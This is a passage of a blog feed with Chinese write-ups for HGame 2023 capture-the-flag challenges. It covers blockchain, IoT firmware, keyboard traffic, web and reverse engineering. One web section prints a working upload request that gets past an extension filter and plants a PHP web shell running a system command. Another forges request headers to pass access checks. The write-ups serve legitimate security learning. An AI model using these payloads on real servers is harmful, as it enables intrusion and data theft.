tx_receipt.transactionHash)</code></pre><p>运行后，得到<code>tx</code>地址，提交后即可获得flag。</p><h2 id="%5Bblockchain%5D-transfer" tabindex="-1">[Blockchain] Transfer</h2><p>本题可以使用<code>Remix</code>，由于无法直接向合约转账：</p><pre><code class="language-solidity">// SPDX-License-Identifier: UNLICENSEDpragma solidity &gt;=0.8.7;contract Transfer{    constructor() {}    function isSolved() public view returns(bool) {        return address(this).balance &gt;= 0.5 ether;    }}</code></pre><p>因此可以构造合约后，使用<code>selfdestruct</code>销毁合约，强制将合约的账户余额转至目标合约。</p><pre><code class="language-solidity">contract ForceTransfer{    constructor(address payable toAddress) public payable{        selfdestruct(toAddress);    }}</code></pre><p>花费<code>0.5ETH</code>，设置调用地址为合约地址并部署，即可完成本题。</p><h2 id="%5Biot%5D-pirated-router" tabindex="-1">[IoT] Pirated router</h2><p>使用<code>binwalk</code>解包固件<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/614ba5eef61d4c21a903c4a9d165ff82.png" alt="614ba5eef61d4c21a903c4a9d165ff82" /><br />可以在<code>/squashfs-root/bin</code>中找到<code>secret_program</code><br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/8d34b8239e1643f5ad13aeebd4b873cb.png" alt="8d34b8239e1643f5ad13aeebd4b873cb" /><br />把它拖到IDA反编译后，经过处理，得到以下代码：</p><pre><code class="language-c">#include &lt;stdint.h&gt;#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;int __cdecl main() {int v4[8]; // [xsp+10h] [xbp+10h]unsigned int v6; // [xsp+98h] [xbp+98h]int i; // [xsp+9Ch] [xbp+9Ch]v4[0] = 0x4e42444b; // v4[0] = unk_4543B0;v4[1] = 0x4d565846; // v4[1] = unk_4543C0;v4[2] = 0x48401753; // v4[2] = unk_4543D0;v4[3] = 0x7c444d12; // v4[3] = unk_4543E0;v4[4] = 0x4e514a45; // v4[4] = unk_4543F0;v4[5] = 0x46514254; // v4[5] = unk_454400;v4[6] = 0x7c50127c; // v4[6] = unk_454410;v4[7] = 0x5a506210; // v4[7] = unk_454420;v6 = 35;for ( i = 0; i &lt;= 32; ++i )printf(&quot;%c&quot;, *((char *)v4 + i) ^ v6);return 0;}</code></pre><p>运行即可获得flag：</p><pre><code class="language-">hgame{unp4ck1ng_firmware_1s_3Asy</code></pre><p>最后补上一个右大括号即可<br />笔者猜测不用反编译，在arm架构的环境中，直接运行程序应该也能获得flag，不过是否可行就留给各位读者验证了。</p><h2 id="%5Biot%5D-pirated-keyboard" tabindex="-1">[IoT] Pirated keyboard</h2><p>下载后，发现是基于稚晖君的开源项目<code>HelloWord-Keyboard</code>修改的，项目地址：<a href="https://github.com/peng-zhihui/HelloWord-Keyboard" target="_blank">https://github.com/peng-zhihui/HelloWord-Keyboard</a>，根据压缩包内的日期（2023-01-12）和markdown文件推测，下载版本应该为<code>commit-e16576f09e270639a4b2c62250242c4b5d13f8a5</code>，该版本地址为：<a href="https://github.com/peng-zhihui/HelloWord-Keyboard/tree/e16576f09e270639a4b2c62250242c4b5d13f8a5" target="_blank">https://github.com/peng-zhihui/HelloWord-Keyboard/tree/e16576f09e270639a4b2c62250242c4b5d13f8a5</a>，将整个工程克隆下来，与题目工程对比，发现主要不同有两处：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/67b56f23c2d949eaac7cd25cdbe10fa9.png" alt="67b56f23c2d949eaac7cd25cdbe10fa9" /><br />第一处是pdf中的，对比发现题目工程中存在部分flag：<code>hgame{peng_</code><br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/6a4e2502536d43339284c228debcd409.png" alt="6a4e2502536d43339284c228debcd409" /><br />第二处位于<code>hw_keyboard.h</code>中，题目将H和I按键对应的值互换了，这会在后面分析按键流量时产生影响<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/13f4bb5f8f904707acfb139dcd60c339.png" alt="13f4bb5f8f904707acfb139dcd60c339" /></p><p>接下来，分析键盘流量，打开<code>keyboard.pcapng</code>文件，可知只有备注为<code>URB_INTERRUPT in</code>的流量才是键盘输入：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/da880c2af4be403cbb1e719c7e99b3aa.png" alt="da880c2af4be403cbb1e719c7e99b3aa" /><br />将它们过滤出来：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/246d1cb52dbe46bea11ba78822d68621.png" alt="246d1cb52dbe46bea11ba78822d68621" /><br /><code>文件</code>-<code>导出分组解析结果</code>-<code>As JSON</code>导出为JSON格式，然后使用下面的脚本解析即可：</p><pre><code class="language-python"># 修改自 https://www.cnblogs.com/renhaoblog/p/15148455.htmlimport jsonnormalKeys = {&quot;04&quot;: &quot;a&quot;, &quot;05&quot;: &quot;b&quot;, &quot;06&quot;: &quot;c&quot;, &quot;07&quot;: &quot;d&quot;, &quot;08&quot;: &quot;e&quot;, &quot;09&quot;: &quot;f&quot;, &quot;0a&quot;: &quot;g&quot;, &quot;0b&quot;: &quot;i&quot;, &quot;0c&quot;: &quot;h&quot;,              &quot;0d&quot;: &quot;j&quot;, &quot;0e&quot;: &quot;k&quot;, &quot;0f&quot;: &quot;l&quot;, &quot;10&quot;: &quot;m&quot;, &quot;11&quot;: &quot;n&quot;, &quot;12&quot;: &quot;o&quot;, &quot;13&quot;: &quot;p&quot;, &quot;14&quot;: &quot;q&quot;, &quot;15&quot;: &quot;r&quot;,              &quot;16&quot;: &quot;s&quot;, &quot;17&quot;: &quot;t&quot;, &quot;18&quot;: &quot;u&quot;, &quot;19&quot;: &quot;v&quot;, &quot;1a&quot;: &quot;w&quot;, &quot;1b&quot;: &quot;x&quot;, &quot;1c&quot;: &quot;y&quot;, &quot;1d&quot;: &quot;z&quot;, &quot;1e&quot;: &quot;1&quot;,              &quot;1f&quot;: &quot;2&quot;, &quot;20&quot;: &quot;3&quot;, &quot;21&quot;: &quot;4&quot;, &quot;22&quot;: &quot;5&quot;, &quot;23&quot;: &quot;6&quot;, &quot;24&quot;: &quot;7&quot;, &quot;25&quot;: &quot;8&quot;, &quot;26&quot;: &quot;9&quot;, &quot;27&quot;: &quot;0&quot;,              &quot;28&quot;: &quot;&lt;RET&gt;&quot;, &quot;29&quot;: &quot;&lt;ESC&gt;&quot;, &quot;2a&quot;: &quot;&lt;DEL&gt;&quot;, &quot;2b&quot;: &quot;\t&quot;, &quot;2c&quot;: &quot;&lt;SPACE&gt;&quot;, &quot;2d&quot;: &quot;-&quot;, &quot;2e&quot;: &quot;=&quot;, &quot;2f&quot;: &quot;[&quot;,              &quot;30&quot;: &quot;]&quot;, &quot;31&quot;: &quot;\\&quot;, &quot;32&quot;: &quot;&lt;NON&gt;&quot;, &quot;33&quot;: &quot;;&quot;, &quot;34&quot;: &quot;&#39;&quot;, &quot;35&quot;: &quot;&lt;GA&gt;&quot;, &quot;36&quot;: &quot;,&quot;, &quot;37&quot;: &quot;.&quot;, &quot;38&quot;: &quot;/&quot;,              &quot;39&quot;: &quot;&lt;CAP&gt;&quot;, &quot;3a&quot;: &quot;&lt;F1&gt;&quot;, &quot;3b&quot;: &quot;&lt;F2&gt;&quot;, &quot;3c&quot;: &quot;&lt;F3&gt;&quot;, &quot;3d&quot;: &quot;&lt;F4&gt;&quot;, &quot;3e&quot;: &quot;&lt;F5&gt;&quot;, &quot;3f&quot;: &quot;&lt;F6&gt;&quot;,              &quot;40&quot;: &quot;&lt;F7&gt;&quot;, &quot;41&quot;: &quot;&lt;F8&gt;&quot;, &quot;42&quot;: &quot;&lt;F9&gt;&quot;, &quot;43&quot;: &quot;&lt;F10&gt;&quot;, &quot;44&quot;: &quot;&lt;F11&gt;&quot;, &quot;45&quot;: &quot;&lt;F12&gt;&quot;}shiftKeys = {&quot;04&quot;: &quot;A&quot;, &quot;05&quot;: &quot;B&quot;, &quot;06&quot;: &quot;C&quot;, &quot;07&quot;: &quot;D&quot;, &quot;08&quot;: &quot;E&quot;, &quot;09&quot;: &quot;F&quot;, &quot;0a&quot;: &quot;G&quot;, &quot;0b&quot;: &quot;I&quot;, &quot;0c&quot;: &quot;H&quot;,             &quot;0d&quot;: &quot;J&quot;, &quot;0e&quot;: &quot;K&quot;, &quot;0f&quot;: &quot;L&quot;, &quot;10&quot;: &quot;M&quot;, &quot;11&quot;: &quot;N&quot;, &quot;12&quot;: &quot;O&quot;, &quot;13&quot;: &quot;P&quot;, &quot;14&quot;: &quot;Q&quot;, &quot;15&quot;: &quot;R&quot;,             &quot;16&quot;: &quot;S&quot;, &quot;17&quot;: &quot;T&quot;, &quot;18&quot;: &quot;U&quot;, &quot;19&quot;: &quot;V&quot;, &quot;1a&quot;: &quot;W&quot;, &quot;1b&quot;: &quot;X&quot;, &quot;1c&quot;: &quot;Y&quot;, &quot;1d&quot;: &quot;Z&quot;, &quot;1e&quot;: &quot;!&quot;,             &quot;1f&quot;: &quot;@&quot;, &quot;20&quot;: &quot;#&quot;, &quot;21&quot;: &quot;$&quot;, &quot;22&quot;: &quot;%&quot;, &quot;23&quot;: &quot;^&quot;, &quot;24&quot;: &quot;&amp;&quot;, &quot;25&quot;: &quot;*&quot;, &quot;26&quot;: &quot;(&quot;, &quot;27&quot;: &quot;)&quot;,             &quot;28&quot;: &quot;&lt;RET&gt;&quot;, &quot;29&quot;: &quot;&lt;ESC&gt;&quot;, &quot;2a&quot;: &quot;&lt;DEL&gt;&quot;, &quot;2b&quot;: &quot;\t&quot;, &quot;2c&quot;: &quot;&lt;SPACE&gt;&quot;, &quot;2d&quot;: &quot;_&quot;, &quot;2e&quot;: &quot;+&quot;, &quot;2f&quot;: &quot;{&quot;,             &quot;30&quot;: &quot;}&quot;, &quot;31&quot;: &quot;|&quot;, &quot;32&quot;: &quot;&lt;NON&gt;&quot;, &quot;33&quot;: &quot;\&quot;&quot;, &quot;34&quot;: &quot;:&quot;, &quot;35&quot;: &quot;&lt;GA&gt;&quot;, &quot;36&quot;: &quot;&lt;&quot;, &quot;37&quot;: &quot;&gt;&quot;, &quot;38&quot;: &quot;?&quot;,             &quot;39&quot;: &quot;&lt;CAP&gt;&quot;, &quot;3a&quot;: &quot;&lt;F1&gt;&quot;, &quot;3b&quot;: &quot;&lt;F2&gt;&quot;, &quot;3c&quot;: &quot;&lt;F3&gt;&quot;, &quot;3d&quot;: &quot;&lt;F4&gt;&quot;, &quot;3e&quot;: &quot;&lt;F5&gt;&quot;, &quot;3f&quot;: &quot;&lt;F6&gt;&quot;,             &quot;40&quot;: &quot;&lt;F7&gt;&quot;, &quot;41&quot;: &quot;&lt;F8&gt;&quot;, &quot;42&quot;: &quot;&lt;F9&gt;&quot;, &quot;43&quot;: &quot;&lt;F10&gt;&quot;, &quot;44&quot;: &quot;&lt;F11&gt;&quot;, &quot;45&quot;: &quot;&lt;F12&gt;&quot;}output = []keys = open(&#39;data.json&#39;)data = json.load(keys)for line in data:    line = line[&#39;_source&#39;][&#39;layers&#39;][&#39;usbhid.data&#39;]    try:        if line[0] != &#39;0&#39; or (line[1] != &#39;0&#39; and line[1] != &#39;2&#39;) or line[3] != &#39;0&#39; or line[4] != &#39;0&#39; or line[            9] != &#39;0&#39; or line[10] != &#39;0&#39; or line[12] != &#39;0&#39; or line[13] != &#39;0&#39; or line[15] != &#39;0&#39; or line[16] != &#39;0&#39; or \                line[18] != &#39;0&#39; or line[19] != &#39;0&#39; or line[21] != &#39;0&#39; or line[22] != &#39;0&#39; or line[6:8] == &quot;00&quot;:            continue        if line[6:8] in normalKeys.keys():            output += [[normalKeys[line[6:8]]], [shiftKeys[line[6:8]]]][line[1] == &#39;2&#39;]        else:            output += [&#39;[unknown]&#39;]    except:        passkeys.close()flag = 0print(&quot;&quot;.join(output))for i in range(len(output)):    try:        a = output.index(&#39;&lt;DEL&gt;&#39;)        del output[a]        del output[a - 1]    except:        passfor i in range(len(output)):    try:        if output[i] == &quot;&lt;CAP&gt;&quot;:            flag += 1            output.pop(i)            if flag == 2:                flag = 0        if flag != 0:            output[i] = output[i].upper()    except:        passprint(&#39;output :&#39; + &quot;&quot;.join(output))if __name__ == &#39;__main__&#39;:    pass</code></pre><p>得到后半段flag：<code>zhihuh_NB_666}</code></p><p>拼接得到flag：</p><pre><code class="language-text">hgame{peng_zhihuh_NB_666}</code></pre>]]>
                </content>
            </entry>
            <entry>
                <title><![CDATA[HGame 2023 Week1 部分Writeup]]></title>
                <link rel="alternate" type="text/html" href="https://blog.vvbbnn00.cn/archives/hgame2023week1-bu-fen-ti-jie" />
                <id>tag:https://blog.vvbbnn00.cn,2023-01-12:hgame2023week1-bu-fen-ti-jie</id>
                <published>2023-01-12T20:00:00+08:00</published>
                <updated>2023-01-17T21:28:48+08:00</updated>
                <author>
                    <name>不做评论</name>
                    <uri>https://blog.vvbbnn00.cn</uri>
                </author>
                <content type="html">
                        <![CDATA[<p>第一周的大部分题目难度较低，不过也存在一部分难题，解这些题目的过程也是一个很好的学习机会（虽然最后还是没解出来）下面是我的题解。</p><blockquote><p>Week1 比赛地址：<a href="https://hgame.vidar.club/contest/2" target="_blank">https://hgame.vidar.club/contest/2</a></p></blockquote><h2 id="%5Bweb%5D-classic-childhood-game" tabindex="-1">[WEB] Classic Childhood Game</h2><p>本题是一道纯前端的WEB题，比较简单，猜测通关获得flag，查看源代码，在<code>/Res/Events.js</code>中发现可能是flag的代码：</p><pre><code class="language-javascript">function mota() {  var a = [&#39;\x59\x55\x64\x6b\x61\x47\x4a\x58\x56\x6a\x64\x61\x62\x46\x5a\x31\x59\x6d\x35\x73\x53\x31\x6c\x59\x57\x6d\x68\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72\x57\x6a\x46\x69\x62\x54\x55\x31\x56\x46\x52\x43\x4d\x46\x6c\x56\x59\x7a\x42\x69\x56\x31\x59\x35&#39;];  (function (b, e) {    var f = function (g) {      while (--g) {        b[&#39;push&#39;](b[&#39;shift&#39;]());      }    };    f(++e);  }(a, 0x198));  var b = function (c, d) {    c = c - 0x0;    var e = a[c];    if (b[&#39;CFrzVf&#39;] === undefined) {      (function () {        var g;        try {          var i = Function(&#39;return\x20(function()\x20&#39; + &#39;{}.constructor(\x22return\x20this\x22)(\x20)&#39; + &#39;);&#39;);          g = i();        } catch (j) {          g = window;        }        var h = &#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=&#39;;        g[&#39;atob&#39;] || (g[&#39;atob&#39;] = function (k) {          var l = String(k)[&#39;replace&#39;](/=+$/, &#39;&#39;);          var m = &#39;&#39;;          for (var n = 0x0, o, p, q = 0x0; p = l[&#39;charAt&#39;](q++); ~p &amp;&amp; (o = n % 0x4 ? o * 0x40 + p : p, n++ % 0x4) ? m += String[&#39;fromCharCode&#39;](0xff &amp; o &gt;&gt; (-0x2 * n &amp; 0x6)) : 0x0) {            p = h[&#39;indexOf&#39;](p);          }          return m;        });      }());      b[&#39;fqlkGn&#39;] = function (g) {        var h = atob(g);        var j = [];        for (var k = 0x0, l = h[&#39;length&#39;]; k &lt; l; k++) {          j += &#39;%&#39; + (&#39;00&#39; + h[&#39;charCodeAt&#39;](k)[&#39;toString&#39;](0x10))[&#39;slice&#39;](-0x2);        }        return decodeURIComponent(j);      };      b[&#39;iBPtNo&#39;] = {};      b[&#39;CFrzVf&#39;] = !![];    }    var f = b[&#39;iBPtNo&#39;][c];    if (f === undefined) {      e = b[&#39;fqlkGn&#39;](e);      b[&#39;iBPtNo&#39;][c] = e;    } else {      e = f;    }    return e;  };  alert(atob(b(&#39;\x30\x78\x30&#39;)));}</code></pre><p>控制台运行一下，获得flag</p><pre><code class="language-">hgame{fUnnyJavascript&amp;FunnyM0taG4me}</code></pre><h2 id="%5Bweb%5D-become-a-member" tabindex="-1">[WEB] Become A Member</h2><p>考察HTTP基础知识，难度不高，但是不得不吐槽出题人的题意描述实在太含糊了。进入页面，提示<code>请先提供一下身份证明（Cute-Bunny）哦</code>，然后看到<code>Network</code>里面的响应头</p><pre><code class="language-">Set-Cookie: code=guest; Path=/; Domain=localhost; Max-Age=3600; HttpOnly</code></pre><p>下意识地以为和cookie、host、XFF或者BasicAuth有关，搞了半天结果是要改UserAgent，有些无语。<br />只要不要理解错，后面还是很简单的，跟着网页提示一步一步构造payload即可，对于HTTP协议理解考察还是挺多的，后面也确实和cookie、XFF之类有关，不过第一个考察UserAgent题意确实描述的不是很清晰。<br />最后的payload如下：</p><pre><code class="language-">GET / HTTP/1.1Host: &lt;host&gt;Upgrade-Insecure-Requests: 1User-Agent: Cute-BunnyAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeCookie: code=Vidar;Referer: bunnybunnybunny.comX-Forwarded-For: 127.0.0.1Content-Length: 49{&quot;username&quot;:&quot;luckytoday&quot;, &quot;password&quot;: &quot;happy123&quot;}</code></pre><p>得到flag：</p><pre><code class="language-">hgame{H0w_ArE_Y0u_T0day?}</code></pre><h2 id="%5Bweb%5D-guess-who-i-am" tabindex="-1">[WEB] Guess Who I Am</h2><p>本题需要连续回答对100道问题，进入网页，查看源代码，可以看到提示：</p><pre><code class="language-html">&lt;!-- Hint: https://github.com/Potat0000/Vidar-Website/blob/master/src/scripts/config/member.js --&gt;</code></pre><p>访问链接，可以获得人员信息。这里如果不嫌麻烦的话，可以手动回答100题，当然也可以写脚本。<br />抓包发现，问题通过接口<code>/api/getQuestion</code>获得，提交答案通过<code>/api/verifyAnswer</code>提交，分数通过<code>/api/getScore</code>查询，因此，可以编写以下python代码：</p><pre><code class="language-python">import requestsl = [    {        &quot;id&quot;: &quot;ba1van4&quot;,        &quot;intro&quot;: &quot;21级 / 不会Re / 不会美工 / 活在梦里 / 喜欢做不会的事情 / ◼◻粉&quot;,        &quot;avatar&quot;: &quot;https://thirdqq.qlogo.cn/g?b=sdk&amp;k=kSt5er0OQMXROy28nzTia0A&amp;s=640&quot;,        &quot;url&quot;: &quot;https://ba1van4.icu&quot;    },    # ...    {        &quot;id&quot;: &quot;Eric&quot;,        &quot;intro&quot;: &quot;渗透 / 人工智能 / 北师大博士在读&quot;,        &quot;url&quot;: &quot;https://3riccc.github.io&quot;    }]URL = &quot;http://week-1.hgame.lwsec.cn:32174/&quot;def getQuestion():    ret = session.get(URL + &quot;api/getQuestion&quot;)    return ret.json()[&#39;message&#39;]def postAnswer(ans):    ret = session.post(URL + &quot;api/verifyAnswer&quot;, data={        &#39;id&#39;: ans    })    print(ret.text)def find(q):    for i in l:        if i[&#39;intro&#39;] == q:            return i[&#39;id&#39;]if __name__ == &#39;__main__&#39;:    session = requests.session()    for i in range(100):        q = getQuestion()        ans = find(q)        postAnswer(ans)    print(session.get(URL + &quot;api/getScore&quot;).text)</code></pre><p>运行并获得flag</p><pre><code class="language-">hgame{Guess_who_i_am^Happy_Crawler}</code></pre><h2 id="%5Bweb%5D-show-me-your-beauty" tabindex="-1">[WEB] Show Me Your Beauty</h2><p>这道题考察文件上传相关知识，先随便上传一张图片，发现JSON返回内容：</p><pre><code class="language-">{&quot;json&quot;:&quot;Upload Successfully! .\/img\/xxx.jpg  5s\u540e\u9875\u9762\u81ea\u52a8\u5237\u65b0&quot;}</code></pre><p>尝试更换后缀名，发现<code>.php</code>、<code>.user.ini</code>、<code>.php7</code>、<code>.htaccess</code>均被禁用，正当一筹莫展的时候，突然发现，<code>.PHP</code>居然可以（草了），于是发送如下payload</p><pre><code class="language-">POST /upload.php HTTP/1.1Host: week-1.hgame.lwsec.cn:31691Content-Length: 183Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarystm11YB7wBOq5O6vOrigin: http://week-1.hgame.lwsec.cn:31691Referer: http://week-1.hgame.lwsec.cn:31691/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=i6fi917s5g9ojm4ftkmp6o26qdConnection: close------WebKitFormBoundarystm11YB7wBOq5O6vContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;yjsenpai.PHP&quot;Content-Type: image/jpeg&lt;?php system(&quot;cat /f*&quot;);------WebKitFormBoundarystm11YB7wBOq5O6v--</code></pre><p>访问<code>upload/yjsenpai.PHP</code>获取flag（此处有一个需要注意的地方，就是在访问的时候，需要携带上传时一样的PHPSESSID，否则可能会有问题）</p><pre><code class="language-">hgame{Unsave_F1L5_SYS7em_UPL0ad!}</code></pre><h2 id="%5Breverse%5D-test-your-ida" tabindex="-1">[REVERSE] test your IDA</h2><p>由于是第一次接触逆向相关的题目，笔者也属于边学习边解题，部分内容描述可能不准确，望见谅。<br />这道题确实就是用来测试IDA好不好用的（）<br />下载附件以后，拖到IDA查看源代码，</p><pre><code class="language-c">int __cdecl main(int argc, const char **argv, const char **envp){  char Str1[24]; // [rsp+20h] [rbp-18h] BYREF  sub_140001064(&quot;%10s&quot;);  if ( !strcmp(Str1, &quot;r3ver5e&quot;) )    sub_140001010(&quot;your flag:hgame{te5t_y0ur_IDA}&quot;);  return 0;}</code></pre><p>易得flag</p><pre><code class="language-">your flag:hgame{te5t_y0ur_IDA}</code></pre><h2 id="%5Breverse%5D-easyasm" tabindex="-1">[REVERSE] easyasm</h2><p>下载附件，看到一段汇编代码，由于笔者不会汇编，于是只能靠猜了（</p><pre><code class="language-asm">; void __cdecl enc(char *p).text:00401160 _enc            proc near               ; CODE XREF: _main+1B↑p.text:00401160.text:00401160 i               = dword ptr -4.text:00401160 Str             = dword ptr  8.text:00401160.text:00401160                 push    ebp.text:00401161                 mov     ebp, esp.text:00401163                 push    ecx.text:00401164                 mov     [ebp+i], 0.text:0040116B                 jmp     short loc_401176.text:0040116D ; ---------------------------------------------------------------------------.text:0040116D.text:0040116D loc_40116D:                             ; CODE XREF: _enc+3B↓j.text:0040116D                 mov     eax, [ebp+i].text:00401170                 add     eax, 1.text:00401173                 mov     [ebp+i], eax.text:00401176.text:00401176 loc_401176:                             ; CODE XREF: _enc+B↑j.text:00401176                 mov     ecx, [ebp+Str].text:00401179                 push    ecx             ; Str.text:0040117A                 call    _strlen.text:0040117F                 add     esp, 4.text:00401182                 cmp     [ebp+i], eax.text:00401185                 jge     short loc_40119D.text:00401187                 mov     edx, [ebp+Str].text:0040118A                 add     edx, [ebp+i].text:0040118D                 movsx   eax, byte ptr [edx].text:00401190                 xor     eax, 33h.text:00401193                 mov     ecx, [ebp+Str].text:00401196                 add     ecx, [ebp+i].text:00401199                 mov     [ecx], al.text:0040119B                 jmp     short loc_40116D.text:0040119D ; ---------------------------------------------------------------------------.text:0040119D.text:0040119D loc_40119D:                             ; CODE XREF: _enc+25↑j.text:0040119D                 mov     esp, ebp.text:0040119F                 pop     ebp.text:004011A0                 retn.text:004011A0 _enc            endpInput: your flagEncrypted result: 0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e</code></pre><p>密文是</p><pre><code class="language-">0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e</code></pre><p>猜测关键加密语句是</p><pre><code class="language-">.text:00401190                 xor     eax, 33h</code></pre><p>运气很好，猜对了（<br />于是编写如下python代码：</p><pre><code class="language-python">if __name__ == &#39;__main__&#39;:    ori = &#39;0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e&#39;    r = ori.split(&#39;,&#39;)    for i in r:        print(chr(int(i, 16) ^ 0x33), end=&quot;&quot;)</code></pre><p>得到flag</p><pre><code class="language-">hgame{welc0me_t0_re_wor1d!}</code></pre><h2 id="%5Breverse%5D-easyenc" tabindex="-1">[REVERSE] easyenc</h2><p>反汇编得到代码，这里，我删去了一些无关变量，自己做了一些注释，方便理解程序：</p><pre><code class="language-c">#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;string.h&gt;typedef char _BYTE;int main() {__int64 v3; // rbx__int64 v4; // raxchar v5; // alchar *v6; // rcxint v8[10]; // [rsp+20h] [rbp-19h]__int128 v10[3]; // [rsp+50h] [rbp+17h] BYREFv8[0] = 167640836;v8[1] = 11596545;v8[2] = -1376779008;v8[3] = 85394951;v8[4] = 402462699;v8[5] = 32375274;v8[6] = -100290070;v8[7] = -1407778552;v8[8] = -34995732;v8[9] = 101123568;v3 = 0;v4 = -1;memset(v10, 0, sizeof(v10));scanf(&quot;%50s&quot;, (const char *)v10);do++v4;while ( *((_BYTE *)v10 + v4) );// v4 = v10长度，v10可以看作一个字符串，每一个字符代表一个值if ( v4 == 41 ) {while ( 1 ) {v5 = (*((_BYTE *)v10 + v3) ^ 0x32) - 86; // (_BYTE *)v10 + v3 表示v10[v3]的值*((_BYTE *)v10 + v3) = v5;if ( *((_BYTE *)v8 + v3) != v5 )break;if ( ++v3 &gt;= 41 ) {v6 = &quot;you are right!&quot;;goto LABEL_8;}}v6 = &quot;wrong!&quot;;LABEL_8:printf(v6);}return 0;}</code></pre><p>可知密文大约是长度为41字符的，关键的加密代码其实只有这一句：</p><pre><code class="language-c">v5 = (*((_BYTE *)v10 + v3) ^ 0x32) - 86; </code></pre><p>由于异或可逆，根据程序，反推出解密代码如下：</p><pre><code class="language-c">#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;string.h&gt;typedef char _BYTE;int main() {int v8[10]; // [rsp+20h] [rbp-19h]v8[0] = 167640836;v8[1] = 11596545;v8[2] = -1376779008;v8[3] = 85394951;v8[4] = 402462699;v8[5] = 32375274;v8[6] = -100290070;v8[7] = -1407778552;v8[8] = -34995732;v8[9] = 101123568;for (int i = 0; i &lt; 41; i++) {printf(&quot;%c&quot;, (*((_BYTE *)v8 + i) + 86) ^ 0x32);}return 0;}</code></pre><p>运行获得flag：</p><pre><code class="language-">hgame{4ddit1on_is_a_rever5ible_0perationL</code></pre><p>这里最后一个字符出现了一些小问题，根据测试，最后的flag为：</p><pre><code class="language-">hgame{4ddit1on_is_a_rever5ible_0peration}</code></pre><h2 id="%5Breverse%5D-a_cup_of_tea" tabindex="-1">[REVERSE] a_cup_of_tea</h2><p>本题反汇编后，处理完毕的代码大致如下：</p><pre><code class="language-c">#include &lt;stdio.h&gt;#include &lt;string.h&gt;#include &lt;emmintrin.h&gt;__int64 __fastcall sub_1400010B4(unsigned int *a1, int *a2) {int v2; // ebxint v3; // r11dint v4; // ediint v5; // esiint v6; // ebpunsigned int v7; // r9d__int64 v8; // rdxunsigned int v9; // r10d__int64 result; // raxv2 = *a2;v3 = 0;v4 = a2[1];v5 = a2[2];v6 = a2[3];v7 = *a1;v8 = 32;v9 = a1[1];do {v3 -= 1412567261;v7 += (v3 + v9) ^ (v2 + 16 * v9) ^ (v4 + (v9 &gt;&gt; 5));result = v3 + v7;v9 += result ^ (v5 + 16 * v7) ^ (v6 + (v7 &gt;&gt; 5));--v8;} while ( v8 );*a1 = v7;a1[1] = v9;return result;}int __cdecl main() {int v3; // eaxchar *v4; // rcxunsigned int si128[] = {0x12345678, 0x23456789, 0x34567890, 0x45678901}; // 0x45678901, 0x34567890, 0x23456789, 0x12345678int Buf2[8]; // [rsp+30h] [rbp-9h] BYREF__int16 v8; // [rsp+50h] [rbp+17h]__int128 Buf1; // [rsp+58h] [rbp+1Fh] BYREF__int128 v10[2]; // [rsp+68h] [rbp+2Fh] BYREF__int16 v11; // [rsp+88h] [rbp+4Fh]Buf2[0] = 778273437;Buf1 = 0;memset(v10, 0, sizeof(v10));v11 = 0;Buf2[1] = -1051836401;// si128 = _mm_load_si128((const __m128i *) &amp;xmmword_1400022B0);Buf2[2] = -1690714183;Buf2[3] = 1512016660;Buf2[4] = 1636330974;Buf2[5] = 1701168847;Buf2[6] = -1626976412;Buf2[7] = 594166774;v8 = 32107;printf(&quot;nice tea!\n&gt; &quot;);scanf(&quot;%50s&quot;, (const char *)&amp;Buf1);sub_1400010B4((unsigned int *)&amp;Buf1, si128);sub_1400010B4((unsigned int *)&amp;Buf1 + 2, si128);sub_1400010B4((unsigned int *)v10, si128);sub_1400010B4((unsigned int *)v10 + 2, si128);v3 = memcmp(&amp;Buf1, Buf2, 0x22u);v4 = &quot;wrong...&quot;;if ( !v3 )v4 = &quot;Congratulations!&quot;;printf(v4);return 0;}</code></pre><p>值得注意的是，</p><pre><code class="language-c">si128 = _mm_load_si128((const __m128i *) &amp;xmmword_1400022B0);</code></pre><p>这句语句在加载数据时，方向是从后向前加载的，这是一个<strong>大坑</strong>，例如，在本题中，<code>xmmword_1400022B0</code>的数据为：</p><pre><code class="language-">45678901345678902345678912345678h</code></pre><p>那么，他被转换为数组时，应当时如下顺序存储的（这个卡了很久）：</p><pre><code class="language-">unsigned int si128[] = {0x12345678, 0x23456789, 0x34567890, 0x45678901};</code></pre><p>除了这个之外，本题目的加密算法其实也是有原型的，即<a href="https://www.cnblogs.com/Moomin/p/15037657.html" target="_blank">TEA</a>加密算法，本来对这道题的解密算法十分头疼，但是十分感谢组内同学提醒（果然经验很重要啊），参考了TEA算法的解密代码 <strong>（注意，这个和正宗TEA加密还是有一丁点区别的）</strong>，最后写出如下解密代码：</p><pre><code class="language-c">#include 